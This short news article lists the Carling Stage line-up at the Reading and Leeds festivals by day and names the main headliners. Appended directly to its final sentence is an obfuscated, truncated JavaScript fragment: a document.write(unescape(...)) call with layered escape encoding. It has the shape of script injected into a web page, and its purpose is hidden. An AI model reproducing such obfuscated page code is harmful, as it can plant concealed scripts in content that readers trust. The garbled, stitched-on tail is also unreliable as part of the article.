Hot Chip join expanding festival line-up

Hot Chip, TV On The Radio and Howling Bells are among the bands who will be playing on the Carling Stage at the Carling Weekend: Reading and Leeds festivals this year.

The full line-up for the stage has been announced. Other highlights come from the headliners Bedouin Soundclash, Nouvelle Vague and Animal Collective.

The full line-up is as follows:

Reading 25th/Leeds 26th
Bedouin Soundclash
The Twilight Singers
Eagles Of Death Metal
Howling Bells
Bromheads Jacket
The Sunshine Underground
Little Man Tate
Get Cape. Wear Cape. Fly
Field Music
Scissors For Lefty
Pigeon Detectives
Zox
Mumm Ra

Reading 26th/Leeds27th

Nouvelle Vague
The Fratellis
TV On The Radio
The Organ
The Like
The Spinto Band
The Noisettes
Goodbooks
Tilly And The Wall
Rumble Strips
Serena Maneesh
The Maccabees
The Morning After Girls

Reading 27th/Leeds25th

Animal Collective
Hot Chip
Larrikin Love
The Klaxons
Lethal Bizzle
Statik (DJ)
The Research
Good Shoes
Semifinalists
You Say Party! We Say Die!
Humanzi
Switches
The On Offs
Kharma 45

This year's three day event takes place on the weekend of August (25-27) and will be headlined by Franz Ferdinand, Muse and Pearl Jam with bands including Kaiser Chiefs, Arctic Monkeys, The Raconteurs and Dirty Pretty Things all confirmed for the bill.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;